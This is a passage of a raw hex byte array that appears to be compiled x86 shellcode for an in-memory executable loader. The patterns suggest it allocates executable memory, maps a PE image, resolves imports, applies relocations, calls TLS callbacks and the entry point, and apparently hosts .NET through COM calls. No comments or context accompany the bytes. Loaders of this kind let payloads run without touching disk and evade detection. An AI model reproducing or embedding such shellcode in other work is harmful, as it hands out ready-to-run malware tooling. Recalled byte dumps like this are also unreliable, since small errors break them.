0x64, 0x24, 0x20, 0x00, 0x8b, 0x85, 0x10, 0x19, 0x00, 0x00, 0x89, 0x44,
0x24, 0x1c, 0x8d, 0x44, 0x24, 0x1c, 0x50, 0x6a, 0x01, 0x6a, 0x11, 0xff,
0x53, 0x58, 0x8b, 0xf8, 0x85, 0xff, 0x0f, 0x84, 0x90, 0x00, 0x00, 0x00,
0x8b, 0x57, 0x0c, 0x33, 0xc0, 0x8b, 0xc8, 0x39, 0x85, 0x14, 0x19, 0x00,
0x00, 0x72, 0x2d, 0x77, 0x08, 0x39, 0x85, 0x10, 0x19, 0x00, 0x00, 0x76,
0x23, 0x33, 0xdb, 0x8a, 0x84, 0x29, 0x18, 0x19, 0x00, 0x00, 0x88, 0x04,
0x0a, 0x41, 0x3b, 0x9d, 0x14, 0x19, 0x00, 0x00, 0x72, 0xed, 0x77, 0x08,
0x3b, 0x8d, 0x10, 0x19, 0x00, 0x00, 0x72, 0xe3, 0x8b, 0x5c, 0x24, 0x28,
0x8b, 0x4e, 0x10, 0x8d, 0x46, 0x14, 0x50, 0x57, 0x51, 0x8b, 0x11, 0xff,
0x92, 0xb4, 0x00, 0x00, 0x00, 0xf7, 0xd8, 0x1b, 0xc0, 0x33, 0xd2, 0x40,
0x8b, 0xca, 0x89, 0x44, 0x24, 0x10, 0x8b, 0x47, 0x0c, 0x39, 0x95, 0x14,
0x19, 0x00, 0x00, 0x72, 0x27, 0x77, 0x08, 0x39, 0x95, 0x10, 0x19, 0x00,
0x00, 0x76, 0x1d, 0x88, 0x94, 0x29, 0x18, 0x19, 0x00, 0x00, 0x88, 0x14,
0x08, 0x41, 0x3b, 0x95, 0x14, 0x19, 0x00, 0x00, 0x72, 0xed, 0x77, 0x08,
0x3b, 0x8d, 0x10, 0x19, 0x00, 0x00, 0x72, 0xe3, 0x57, 0xff, 0x53, 0x64,
0x8b, 0x44, 0x24, 0x10, 0x5f, 0x5e, 0x5d, 0x5b, 0x83, 0xc4, 0x14, 0xc3,
0x83, 0x27, 0x00, 0xe9, 0xcc, 0xfe, 0xff, 0xff, 0x89, 0x3e, 0xe9, 0xc7,
0xfe, 0xff, 0xff, 0x33, 0xff, 0x8d, 0x46, 0x08, 0x50, 0x8d, 0x83, 0x5c,
0x04, 0x00, 0x00, 0x50, 0x8d, 0x83, 0x4c, 0x04, 0x00, 0x00, 0x50, 0x57,
0x57, 0xff, 0x93, 0xa0, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x89, 0xab,
0xfe, 0xff, 0xff, 0x89, 0x7e, 0x08, 0x33, 0xc0, 0xeb, 0xbe, 0x83, 0xec,
0x6c, 0x53, 0x8b, 0x5c, 0x24, 0x74, 0x33, 0xc0, 0x55, 0x56, 0x57, 0x8d,
0x7c, 0x24, 0x3c, 0x33, 0xed, 0x21, 0x6c, 0x24, 0x14, 0x8d, 0xb3, 0x58,
0x07, 0x00, 0x00, 0xab, 0xab, 0xab, 0xab, 0x33, 0xc0, 0x66, 0x89, 0x44,
0x24, 0x10, 0x40, 0x39, 0x83, 0x1c, 0x05, 0x00, 0x00, 0x74, 0x02, 0x8b,
0x36, 0x83, 0x3e, 0x02, 0x0f, 0x85, 0x64, 0x01, 0x00, 0x00, 0x8b, 0x84,
0x24, 0x84, 0x00, 0x00, 0x00, 0x8b, 0x48, 0x14, 0x8d, 0x78, 0x1c, 0x57,
0x51, 0x8b, 0x01, 0xff, 0x50, 0x40, 0x85, 0xc0, 0x0f, 0x88, 0x41, 0x01,
0x00, 0x00, 0x8b, 0x07, 0x8d, 0x54, 0x24, 0x14, 0x52, 0x50, 0x8b, 0x08,
0xff, 0x51, 0x48, 0x85, 0xc0, 0x0f, 0x88, 0x4e, 0x02, 0x00, 0x00, 0x8d,
0x44, 0x24, 0x24, 0x50, 0x6a, 0x01, 0xff, 0x74, 0x24, 0x1c, 0xff, 0x53,
0x68, 0x8d, 0x44, 0x24, 0x20, 0x50, 0x6a, 0x01, 0xff, 0x74, 0x24, 0x1c,
0xff, 0x53, 0x6c, 0x8b, 0x44, 0x24, 0x20, 0x2b, 0x44, 0x24, 0x24, 0x83,
0xc0, 0x01, 0x0f, 0x84, 0xbc, 0x00, 0x00, 0x00, 0x6a, 0x01, 0x6a, 0x00,
0x6a, 0x0c, 0xff, 0x53, 0x5c, 0x8b, 0xe8, 0x33, 0xc9, 0x39, 0x8e, 0x04,
0x08, 0x00, 0x00, 0xb8, 0x08, 0x20, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24,
0x2c, 0x74, 0x58, 0xff, 0xb6, 0x04, 0x08, 0x00, 0x00, 0x51, 0x6a, 0x08,
0xff, 0x53, 0x5c, 0x89, 0x44, 0x24, 0x34, 0x33, 0xc0, 0x89, 0x84, 0x24,
0x80, 0x00, 0x00, 0x00, 0x39, 0x86, 0x04, 0x08, 0x00, 0x00, 0x76, 0x63,
0xc1, 0xe0, 0x09, 0x05, 0x08, 0x08, 0x00, 0x00, 0x03, 0xc6, 0x50, 0xff,
0x53, 0x70, 0x50, 0x8d, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0x50, 0xff,
0x74, 0x24, 0x3c, 0xff, 0x53, 0x60, 0x8b, 0x84, 0x24, 0x80, 0x00, 0x00,
0x00, 0x40, 0x89, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x3b, 0x86, 0x04,
0x08, 0x00, 0x00, 0x72, 0xcb, 0xeb, 0x2c, 0x6a, 0x01, 0x51, 0x6a, 0x08,
0xff, 0x53, 0x5c, 0x83, 0xa4, 0x24, 0x80, 0x00, 0x00, 0x00, 0x00, 0x89,
0x44, 0x24, 0x34, 0x8d, 0x44, 0x24, 0x10, 0x50, 0xff, 0x53, 0x70, 0x50,
0x8d, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0x50, 0xff, 0x74, 0x24, 0x3c,
0xff, 0x53, 0x60, 0x83, 0xa4, 0x24, 0x80, 0x00, 0x00, 0x00, 0x00, 0x8d,
0x44, 0x24, 0x2c, 0x50, 0x8d, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0x50,
0x55, 0xff, 0x53, 0x60, 0x83, 0x64, 0x24, 0x44, 0x00, 0x8d, 0x54, 0x24,
0x5c, 0x52, 0x33, 0xc0, 0x8d, 0x74, 0x24, 0x40, 0x40, 0x66, 0x89, 0x44,
0x24, 0x40, 0x8b, 0x07, 0x55, 0x83, 0xec, 0x10, 0x8b, 0xfc, 0x8b, 0x08,
0x50, 0xa5, 0xa5, 0xa5, 0xa5, 0xff, 0x91, 0x94, 0x00, 0x00, 0x00, 0x85,
0xed, 0x0f, 0x84, 0x32, 0x01, 0x00, 0x00, 0xff, 0x74, 0x24, 0x34, 0xff,
0x53, 0x64, 0x55, 0xff, 0x53, 0x64, 0xe9, 0x22, 0x01, 0x00, 0x00, 0x21,
0x2f, 0xe9, 0x1b, 0x01, 0x00, 0x00, 0x8d, 0x86, 0x04, 0x04, 0x00, 0x00,
0x50, 0xff, 0x53, 0x70, 0x8b, 0xe8, 0x89, 0x6c, 0x24, 0x18, 0x85, 0xed,
0x0f, 0x84, 0x06, 0x01, 0x00, 0x00, 0x8d, 0x86, 0x04, 0x06, 0x00, 0x00,
0x50, 0xff, 0x53, 0x70, 0x89, 0x44, 0x24, 0x1c, 0x85, 0xc0, 0x0f, 0x84,
0xe9, 0x00, 0x00, 0x00, 0x8b, 0x8c, 0x24, 0x84, 0x00, 0x00, 0x00, 0x8b,
0x51, 0x14, 0x8d, 0x41, 0x18, 0x50, 0x55, 0x52, 0x8b, 0x0a, 0x89, 0x44,
0x24, 0x34, 0xff, 0x51, 0x44, 0x8b, 0xf8, 0x85, 0xff, 0x0f, 0x88, 0xbe,
0x00, 0x00, 0x00, 0x8b, 0x86, 0x04, 0x08, 0x00, 0x00, 0x33, 0xed, 0x85,
0xc0, 0x74, 0x6e, 0x50, 0x55, 0x6a, 0x0c, 0xff, 0x53, 0x5c, 0x8b, 0xe8,
0x85, 0xed, 0x74, 0x61, 0x83, 0xa4, 0x24, 0x80, 0x00, 0x00, 0x00, 0x00,
0x83, 0xbe, 0x04, 0x08, 0x00, 0x00, 0x00, 0x76, 0x50, 0x33, 0xc0, 0xc1,
0xe0, 0x09, 0x05, 0x08, 0x08, 0x00, 0x00, 0x03, 0xc6, 0x50, 0xff, 0x53,
0x70, 0x6a, 0x08, 0x89, 0x44, 0x24, 0x58, 0x58, 0x66, 0x89, 0x44, 0x24,
0x4c, 0x8d, 0x44, 0x24, 0x4c, 0x50, 0x8d, 0x84, 0x24, 0x84, 0x00, 0x00,
0x00, 0x50, 0x55, 0xff, 0x53, 0x60, 0x8b, 0xf8, 0x85, 0xff, 0x79, 0x06,
0x55, 0xff, 0x53, 0x64, 0x33, 0xed, 0x8b, 0x84, 0x24, 0x80, 0x00, 0x00,
0x00, 0x40, 0x89, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x3b, 0x86, 0x04,
0x08, 0x00, 0x00, 0x72, 0xb2, 0x85, 0xff, 0x78, 0x3c, 0x8b, 0x44, 0x24,
0x28, 0x8d, 0x54, 0x24, 0x6c, 0x52, 0x55, 0x83, 0xec, 0x10, 0x8d, 0x74,
0x24, 0x54, 0x8b, 0x00, 0x8b, 0xfc, 0x6a, 0x00, 0x8b, 0x08, 0xa5, 0x68,
0x18, 0x01, 0x00, 0x00, 0xa5, 0xa5, 0xa5, 0x8b, 0x74, 0x24, 0x3c, 0x56,
0x50, 0xff, 0x91, 0xe4, 0x00, 0x00, 0x00, 0x85, 0xed, 0x74, 0x04, 0x55,
0xff, 0x53, 0x64, 0x8b, 0x6c, 0x24, 0x18, 0xeb, 0x08, 0x8b, 0x6c, 0x24,
0x18, 0x8b, 0x74, 0x24, 0x1c, 0x56, 0xff, 0x53, 0x74, 0x55, 0xff, 0x53,
0x74, 0x33, 0xc0, 0x40, 0x5f, 0x5e, 0x5d, 0x5b, 0x83, 0xc4, 0x6c, 0xc3,
0x81, 0xec, 0xdc, 0x00, 0x00, 0x00, 0xb8, 0x01, 0x00, 0x00, 0x48, 0xc7,
0x44, 0x24, 0x20, 0x31, 0xc0, 0x48, 0x79, 0x53, 0x55, 0x8b, 0xac, 0x24,
0xe8, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x4c, 0x89, 0x44, 0x24, 0x54,
0x89, 0x44, 0x24, 0x5c, 0x83, 0xbd, 0x1c, 0x05, 0x00, 0x00, 0x01, 0x89,
0x44, 0x24, 0x64, 0x89, 0x44, 0x24, 0x6c, 0x89, 0x84, 0x24, 0xa8, 0x00,
0x00, 0x00, 0x89, 0x84, 0x24, 0xc0, 0x00, 0x00, 0x00, 0x89, 0x84, 0x24,
0xc8, 0x00, 0x00, 0x00, 0x89, 0x84, 0x24, 0xd0, 0x00, 0x00, 0x00, 0x89,
0x84, 0x24, 0xd8, 0x00, 0x00, 0x00, 0x8d, 0x85, 0x58, 0x07, 0x00, 0x00,
0x56, 0x57, 0xc7, 0x44, 0x24, 0x34, 0x1b, 0x8b, 0x44, 0x24, 0xc7, 0x44,
0x24, 0x38, 0x04, 0x8b, 0x4c, 0x24, 0xc7, 0x44, 0x24, 0x3c, 0x08, 0x8b,
0x54, 0x24, 0xc7, 0x44, 0x24, 0x40, 0x0c, 0x52, 0x81, 0xc2, 0xc7, 0x44,
0x24, 0x44, 0x00, 0x02, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x48, 0x83, 0xe9,
0x01, 0x75, 0xc7, 0x44, 0x24, 0x4c, 0xf4, 0xff, 0xd0, 0xc3, 0xc7, 0x44,
0x24, 0x50, 0x48, 0x81, 0xec, 0x48, 0xc7, 0x44, 0x24, 0x58, 0x89, 0xac,
0x24, 0x30, 0xc7, 0x44, 0x24, 0x60, 0x89, 0x9c, 0x24, 0x38, 0xc7, 0x44,
0x24, 0x68, 0x89, 0xbc, 0x24, 0x20, 0xc7, 0x44, 0x24, 0x70, 0x89, 0xb4,
0x24, 0x28, 0xc7, 0x44, 0x24, 0x78, 0x89, 0xe6, 0x48, 0x89, 0xc7, 0x44,
0x24, 0x7c, 0xcf, 0xb8, 0x00, 0x02, 0xc7, 0x84, 0x24, 0x80, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4c, 0x89, 0xc7, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00,
0xc1, 0x48, 0x8d, 0x14, 0xc7, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x01,
0x4c, 0x8d, 0x04, 0xc7, 0x84, 0x24, 0x8c, 0x00, 0x00, 0x00, 0x02, 0x4d,
0x8d, 0x0c, 0xc7, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0x00, 0x49, 0x8d,
0x1c, 0xc7, 0x84, 0x24, 0x94, 0x00, 0x00, 0x00, 0x01, 0x48, 0x89, 0x9c,
0xc7, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x24, 0x00, 0x01, 0x00, 0xc7,
0x84, 0x24, 0x9c, 0x00, 0x00, 0x00, 0x00, 0x48, 0x01, 0xc3, 0xc7, 0x84,
0x24, 0xa0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x9c, 0x24, 0xc7, 0x84, 0x24,
0xa4, 0x00, 0x00, 0x00, 0x08, 0x01, 0x00, 0x00, 0xc7, 0x84, 0x24, 0xa8,
0x00, 0x00, 0x00, 0x48, 0x01, 0xc3, 0x48, 0xc7, 0x84, 0x24, 0xac, 0x00,
0x00, 0x00, 0x89, 0x9c, 0x24, 0x10, 0xc7, 0x84, 0x24, 0xb4, 0x00, 0x00,
0x00, 0x01, 0xc3, 0x48, 0x89, 0xc7, 0x84, 0x24, 0xb8, 0x00, 0x00, 0x00,
0x9c, 0x24, 0x18, 0x01, 0xc7, 0x84, 0x24, 0xbc, 0x00, 0x00, 0x00, 0x00,
0x00, 0xff, 0xd7, 0xc7, 0x84, 0x24, 0xc0, 0x00, 0x00, 0x00, 0x48, 0x89,
0xf4, 0x48, 0xc7, 0x84, 0x24, 0xc4, 0x00, 0x00, 0x00, 0x8b, 0xb4, 0x24,
0x28, 0xc7, 0x84, 0x24, 0xcc, 0x00, 0x00, 0x00, 0x8b, 0xbc, 0x24, 0x20,
0xc7, 0x84, 0x24, 0xd4, 0x00, 0x00, 0x00, 0x8b, 0x9c, 0x24, 0x38, 0xc7,
0x84, 0x24, 0xdc, 0x00, 0x00, 0x00, 0x8b, 0xac, 0x24, 0x30, 0xc7, 0x84,
0x24, 0xe4, 0x00, 0x00, 0x00, 0x81, 0xc4, 0x48, 0x01, 0xc7, 0x84, 0x24,
0xe8, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc3, 0x00, 0x89, 0x44, 0x24, 0x20,
0x74, 0x06, 0x8b, 0x00, 0x89, 0x44, 0x24, 0x20, 0x8d, 0x98, 0x18, 0x19,
0x00, 0x00, 0x33, 0xf6, 0x8b, 0x7b, 0x3c, 0x03, 0xfb, 0x56, 0x89, 0x7c,
0x24, 0x20, 0xff, 0x55, 0x38, 0x66, 0x8b, 0x4f, 0x04, 0x89, 0x44, 0x24,
0x2c, 0x8b, 0x50, 0x3c, 0x66, 0x3b, 0x4c, 0x02, 0x04, 0x0f, 0x85, 0x30,
0x03, 0x00, 0x00, 0x6a, 0x40, 0xb8, 0x00, 0x30, 0x00, 0x00, 0xb9, 0x00,
0x10, 0x00, 0x00, 0x50, 0x89, 0x44, 0x24, 0x30, 0x8b, 0x47, 0x50, 0x03,
0xc1, 0x50, 0x56, 0xff, 0x55, 0x3c, 0x8b, 0xf0, 0x85, 0xf6, 0x0f, 0x84,
0x0b, 0x03, 0x00, 0x00, 0xff, 0x77, 0x54, 0x53, 0x56, 0xe8, 0x88, 0x08,
0x00, 0x00, 0x0f, 0xb7, 0x47, 0x14, 0x33, 0xc9, 0x83, 0xc4, 0x0c, 0x89,
0x4c, 0x24, 0x10, 0x83, 0xc0, 0x2c, 0x66, 0x3b, 0x4f, 0x06, 0x73, 0x35,
0x8d, 0x2c, 0x38, 0xff, 0x75, 0xfc, 0x8b, 0x45, 0x00, 0x03, 0xc3, 0x50,
0x8b, 0x45, 0xf8, 0x03, 0xc6, 0x50, 0xe8, 0x5b, 0x08, 0x00, 0x00, 0x8b,
0x4c, 0x24, 0x1c, 0x8d, 0x6d, 0x28, 0x0f, 0xb7, 0x47, 0x06, 0x83, 0xc4,
0x0c, 0x41, 0x89, 0x4c, 0x24, 0x10, 0x3b, 0xc8, 0x72, 0xd5, 0x8b, 0xac,
0x24, 0xf0, 0x00, 0x00, 0x00, 0x8b, 0x87, 0x80, 0x00, 0x00, 0x00, 0x85,
0xc0, 0x74, 0x76, 0x8d, 0x1c, 0x30, 0x8b, 0x43, 0x0c, 0x89, 0x5c, 0x24,
0x18, 0x85, 0xc0, 0x74, 0x68, 0x03, 0xc6, 0x50, 0xff, 0x55, 0x30, 0x8b,
0x53, 0x10, 0x89, 0x44, 0x24, 0x14, 0x03, 0xd6, 0x8b, 0x03, 0x03, 0xc6,
0x89, 0x54, 0x24, 0x24, 0x89, 0x44, 0x24, 0x10, 0x8b, 0x08, 0x85, 0xc9,
0x74, 0x35, 0x8b, 0x5c, 0x24, 0x14, 0x8b, 0xfa, 0x8b, 0x55, 0x34, 0x85,
0xc9, 0x79, 0x05, 0x0f, 0xb7, 0xc1, 0xeb, 0x05, 0x8d, 0x46, 0x02, 0x03,
0xc1, 0x50, 0x53, 0xff, 0xd2, 0x89, 0x07, 0x83, 0xc7, 0x04, 0x8b, 0x44,
0x24, 0x10, 0x83, 0xc0, 0x04, 0x89, 0x44, 0x24, 0x10, 0x8b, 0x08, 0x85,
0xc9, 0x75, 0xd5, 0x8b, 0x5c, 0x24, 0x18, 0x8b, 0x43, 0x20, 0x83, 0xc3,
0x14, 0x89, 0x5c, 0x24, 0x18, 0x85, 0xc0, 0x75, 0x9c, 0x8b, 0x7c, 0x24,
0x1c, 0x8b, 0x87, 0xe0, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x77, 0x8d,
0x5e, 0x04, 0x03, 0xd8, 0x89, 0x5c, 0x24, 0x10, 0x8b, 0x03, 0x85, 0xc0,
0x74, 0x68, 0x03, 0xc6, 0x50, 0xff, 0x55, 0x30, 0x8b, 0x53, 0x08, 0x89,
0x44, 0x24, 0x24, 0x03, 0xd6, 0x8b, 0x43, 0x0c, 0x03, 0xc6, 0x89, 0x54,
0x24, 0x14, 0x89, 0x44, 0x24, 0x18, 0x8b, 0x08, 0x85, 0xc9, 0x74, 0x35,
0x8b, 0x5c, 0x24, 0x24, 0x8b, 0xfa, 0x8b, 0x55, 0x34, 0x85, 0xc9, 0x79,
0x05, 0x0f, 0xb7, 0xc1, 0xeb, 0x05, 0x8d, 0x46, 0x02, 0x03, 0xc1, 0x50,
0x53, 0xff, 0xd2, 0x89, 0x07, 0x83, 0xc7, 0x04, 0x8b, 0x44, 0x24, 0x18,
0x83, 0xc0, 0x04, 0x89, 0x44, 0x24, 0x18, 0x8b, 0x08, 0x85, 0xc9, 0x75,
0xd5, 0x8b, 0x5c, 0x24, 0x10, 0x83, 0xc3, 0x20, 0x89, 0x5c, 0x24, 0x10,
0x8b, 0x03, 0x85, 0xc0, 0x75, 0x9c, 0x8b, 0x7c, 0x24, 0x1c, 0x8b, 0x87,
0xa0, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x75, 0x8d, 0x1c, 0x30, 0x8b,
0xc6, 0x2b, 0x47, 0x34, 0x89, 0x44, 0x24, 0x14, 0x33, 0xc0, 0x39, 0x03,
0x74, 0x63, 0x8d, 0x4b, 0x08, 0xeb, 0x49, 0x0f, 0xb7, 0x01, 0x8b, 0xd0,
0x25, 0x00, 0xf0, 0x00, 0x00, 0x89, 0x54, 0x24, 0x10, 0x66, 0x3b, 0x44,
0x24, 0x28, 0x75, 0x23, 0x8b, 0xc2, 0x25, 0xff, 0x0f, 0x00, 0x00, 0x89,
0x44, 0x24, 0x10, 0x03, 0x03, 0x8b, 0x0c, 0x30, 0x03, 0x4c, 0x24, 0x14,
0x8b, 0x44, 0x24, 0x10, 0x03, 0x03, 0x89, 0x0c, 0x30, 0x8b, 0x4c, 0x24,
0x1c, 0xeb, 0x0e, 0xb8, 0x00, 0x10, 0x00, 0x00, 0x66, 0x3b, 0xd0, 0x0f,
0x83, 0x42, 0x01, 0x00, 0x00, 0x83, 0xc1, 0x02, 0x8b, 0x43, 0x04, 0x03,
0xc3, 0x89, 0x4c, 0x24, 0x1c, 0x3b, 0xc8, 0x75, 0xaa, 0x33, 0xc0, 0x8b,
0xd9, 0x39, 0x01, 0x75, 0x9d, 0x8b, 0x9f, 0xc0, 0x00, 0x00, 0x00, 0x85,
0xdb, 0x74, 0x26, 0x8b, 0x5c, 0x33, 0x0c, 0x85, 0xdb, 0x74, 0x1e, 0x8b,
0x03, 0x85, 0xc0, 0x74, 0x18, 0x33, 0xed, 0x55, 0x6a, 0x01, 0x56, 0xff,
0xd0, 0x8d, 0x5b, 0x04, 0x8b, 0x03, 0x85, 0xc0, 0x75, 0xf1, 0x8b, 0xac,
0x24, 0xf0, 0x00, 0x00, 0x00, 0x8b, 0x5c, 0x24, 0x20, 0x8b, 0x47, 0x28,
0x03, 0xc6, 0x83, 0x3b, 0x03, 0x0f, 0x85, 0xe6, 0x00, 0x00, 0x00, 0x33,
0xc9, 0x51, 0x6a, 0x01, 0xff, 0x74, 0x24, 0x34, 0xff, 0xd0, 0x8d, 0x93,
0x04, 0x06, 0x00, 0x00, 0x33, 0xc0, 0x89, 0x54, 0x24, 0x2c, 0x66, 0x39,
0x02, 0x0f, 0x84, 0xc8, 0x00, 0x00, 0x00, 0x8b, 0x4f, 0x78, 0x85, 0xc9,
0x0f, 0x84, 0xbd, 0x00, 0x00, 0x00, 0x8b, 0x7c, 0x31, 0x18, 0x85, 0xff,
0x0f, 0x84, 0xb1, 0x00, 0x00, 0x00, 0x8b, 0x44, 0x31, 0x1c, 0x8d, 0x5f,
0xff, 0x03, 0xc6, 0x89, 0x44, 0x24, 0x14, 0x8b, 0x44, 0x31, 0x20, 0x8b,
0x4c, 0x31, 0x24, 0x03, 0xc6, 0x03, 0xce, 0x89, 0x4c, 0x24, 0x28, 0x8d,
0x1c, 0x98, 0x8b, 0x03, 0x52, 0x03, 0xc6, 0x50, 0xe8, 0xc6, 0x03, 0x00,
0x00, 0x59, 0x59, 0x85, 0xc0, 0x74, 0x0e, 0x83, 0xeb, 0x04, 0x83, 0xef,
0x01, 0x74, 0x78, 0x8b, 0x54, 0x24, 0x2c, 0xeb, 0xe1, 0x8b, 0x44, 0x24,
0x28, 0x8b, 0x5c, 0x24, 0x14, 0x0f, 0xb7, 0x44, 0x78, 0xfe, 0x8b, 0x1c,
0x83, 0x03, 0xde, 0x74, 0x5e, 0x6a, 0x40, 0xb8, 0x00, 0x30, 0x00, 0x00,
0x50, 0x68, 0xbc, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x50, 0xff, 0x55, 0x3c,
0x8b, 0xf8, 0x85, 0xff, 0x74, 0x45, 0x68, 0xbc, 0x00, 0x00, 0x00, 0x8d,
0x44, 0x24, 0x34, 0x50, 0x57, 0xe8, 0xc8, 0x05, 0x00, 0x00, 0x8b, 0x4c,
0x24, 0x2c, 0x8d, 0x81, 0x08, 0x08, 0x00, 0x00, 0x50, 0xff, 0xb1, 0x04,
0x08, 0x00, 0x00, 0x53, 0xff, 0xd7, 0x68, 0xbc, 0x00, 0x00, 0x00, 0x33,
0xc0, 0x50, 0x57, 0xe8, 0xca, 0x05, 0x00, 0x00, 0x83, 0xc4, 0x24, 0x33,
0xc0, 0x68, 0x00, 0xc0, 0x00, 0x00, 0x50, 0x57, 0xff, 0x55, 0x40, 0xeb,
0x02, 0xff, 0xd0, 0x68, 0x00, 0xc0, 0x00, 0x00, 0x33, 0xd2, 0x52, 0x56,
0xff, 0x55, 0x40, 0x5f, 0x5e, 0x5d, 0x5b, 0x81, 0xc4, 0xdc, 0x00, 0x00,
0x00, 0xc3, 0x81, 0xec, 0xf0, 0x00, 0x00, 0x00, 0x53, 0x8b, 0x9c, 0x24,
0xf8, 0x00, 0x00, 0x00, 0x55, 0x56, 0x57, 0x83, 0xbb, 0x1c, 0x05, 0x00,
0x00, 0x01, 0x8d, 0xb3, 0x58, 0x07, 0x00, 0x00, 0x74, 0x02, 0x8b, 0x36,
0x8b, 0x83, 0x50, 0x07, 0x00, 0x00, 0x33, 0xff, 0x6a, 0x04, 0x68, 0x00,
0x30, 0x00, 0x00, 0x8d, 0x04, 0x45, 0x02, 0x00, 0x00, 0x00, 0x50, 0x57,
0xff, 0x53, 0x3c, 0x8b, 0xe8, 0x85, 0xed, 0x0f, 0x84, 0x51, 0x01, 0x00,
0x00, 0x8b, 0x8e, 0x10, 0x19, 0x00, 0x00, 0x03, 0xc9, 0x51, 0x55, 0x6a,
0xff, 0x8d, 0x8e, 0x18, 0x19, 0x00, 0x00, 0x51, 0x57, 0x57, 0xff, 0x53,
0x50, 0x8d, 0x44, 0x24, 0x5c, 0x89, 0x44, 0x24, 0x18, 0x8d, 0x44, 0x24,
0x18, 0x50, 0x53, 0xe8, 0xab, 0xe9, 0xff, 0xff, 0x8d, 0x44, 0x24, 0x50,
0x89, 0x44, 0x24, 0x28, 0x8d, 0x44, 0x24, 0x28, 0x50, 0x53, 0xe8, 0x4e,
0xe8, 0xff, 0xff, 0x8d, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x89, 0x44,
0x24, 0x3c, 0x8d, 0x44, 0x24, 0x3c, 0x50, 0x53, 0xe8, 0x39, 0xf2, 0xff,
0xff, 0x83, 0xc4, 0x18, 0x57, 0x57, 0xff, 0x93, 0xa8, 0x00, 0x00, 0x00,
0x85, 0xc0, 0x0f, 0x85, 0xc8, 0x00, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x10,
0x50, 0x8d, 0x83, 0x9c, 0x04, 0x00, 0x00, 0x50, 0x6a, 0x03, 0x57, 0x8d,
0x83, 0x7c, 0x04, 0x00, 0x00, 0x50, 0xff, 0x93, 0xac, 0x00, 0x00, 0x00,
0x85, 0xc0, 0x0f, 0x85, 0xa4, 0x00, 0x00, 0x00, 0x8b, 0x4c, 0x24, 0x10,
0x8d, 0x44, 0x24, 0x14, 0x50, 0x8d, 0x83, 0xcc, 0x04, 0x00, 0x00, 0x50,
0x8b, 0x11, 0x51, 0xff, 0x12, 0x85, 0xc0, 0x75, 0x77, 0x8b, 0x44, 0x24,
0x14, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x0c, 0x85, 0xc0, 0x75, 0x5f, 0x8b,
0x4c, 0x24, 0x10, 0x8d, 0x54, 0x24, 0x18, 0x89, 0x4c, 0x24, 0x38, 0x52,
0x51, 0x8b, 0x01, 0xff, 0x50, 0x0c, 0x85, 0xc0, 0x75, 0x48, 0x8d, 0x83,
0xcc, 0x03, 0x00, 0x00, 0x50, 0xff, 0x53, 0x70, 0x8b, 0x4c, 0x24, 0x10,
0x8b, 0xf8, 0x6a, 0x02, 0x57, 0x51, 0x8b, 0x11, 0xff, 0x52, 0x20, 0x57,
0x8b, 0xf0, 0xff, 0x53, 0x74, 0x33, 0xff, 0x85, 0xf6, 0x75, 0x23, 0x8b,
0x44, 0x24, 0x14, 0x57, 0x57, 0x57, 0x8b, 0x08, 0x57, 0x57, 0x57, 0x57,
0x57, 0x55, 0x50, 0xff, 0x51, 0x14, 0x85, 0xc0, 0x75, 0x0c, 0x8b, 0x44,
0x24, 0x10, 0x6a, 0x02, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x14, 0x8b, 0x44,
0x24, 0x14, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x08, 0x8b, 0x44, 0x24, 0x10,
0x50, 0x8b, 0x08, 0xff, 0x51, 0x1c, 0x8b, 0x44, 0x24, 0x10, 0x50, 0x8b,
0x08, 0xff, 0x51, 0x08, 0x8b, 0x83, 0x50, 0x07, 0x00, 0x00, 0x8d, 0x04,
0x45, 0x02, 0x00, 0x00, 0x00, 0x50, 0x57, 0x55, 0xe8, 0x15, 0x04, 0x00,
0x00, 0x83, 0xc4, 0x0c, 0x68, 0x00, 0xc0, 0x00, 0x00, 0x57, 0x55, 0xff,
0x53, 0x40, 0x5f, 0x5e, 0x5d, 0x5b, 0x81, 0xc4, 0xf0, 0x00, 0x00, 0x00,
0xc3, 0x83, 0xec, 0x0c, 0x53, 0x55, 0x56, 0x8b, 0x74, 0x24, 0x1c, 0x57,
0x83, 0xbe, 0x1c, 0x05, 0x00, 0x00, 0x01, 0x8d, 0xbe, 0x58, 0x07, 0x00,
0x00, 0x74, 0x02, 0x8b, 0x3f, 0x8b, 0x86, 0x50, 0x07, 0x00, 0x00, 0x33,
0xed, 0x6a, 0x04, 0x68, 0x00, 0x30, 0x00, 0x00, 0x8d, 0x04, 0x45, 0x02,
0x00, 0x00, 0x00, 0x50, 0x55, 0xff, 0x56, 0x3c, 0x8b, 0xd8, 0x85, 0xdb,
0x0f, 0x84, 0xd1, 0x00, 0x00, 0x00, 0x8b, 0x8f, 0x10, 0x19, 0x00, 0x00,
0x03, 0xc9, 0x51, 0x53, 0x6a, 0xff, 0x8d, 0x8f, 0x18, 0x19, 0x00, 0x00,
0x51, 0x55, 0x55, 0xff, 0x56, 0x50, 0x55, 0x55, 0xff, 0x96, 0xa8, 0x00,
0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0x87, 0x00, 0x00, 0x00, 0x8d, 0x44,
0x24, 0x10, 0x50, 0x8d, 0x86, 0xfc, 0x04, 0x00, 0x00, 0x50, 0x6a, 0x01,
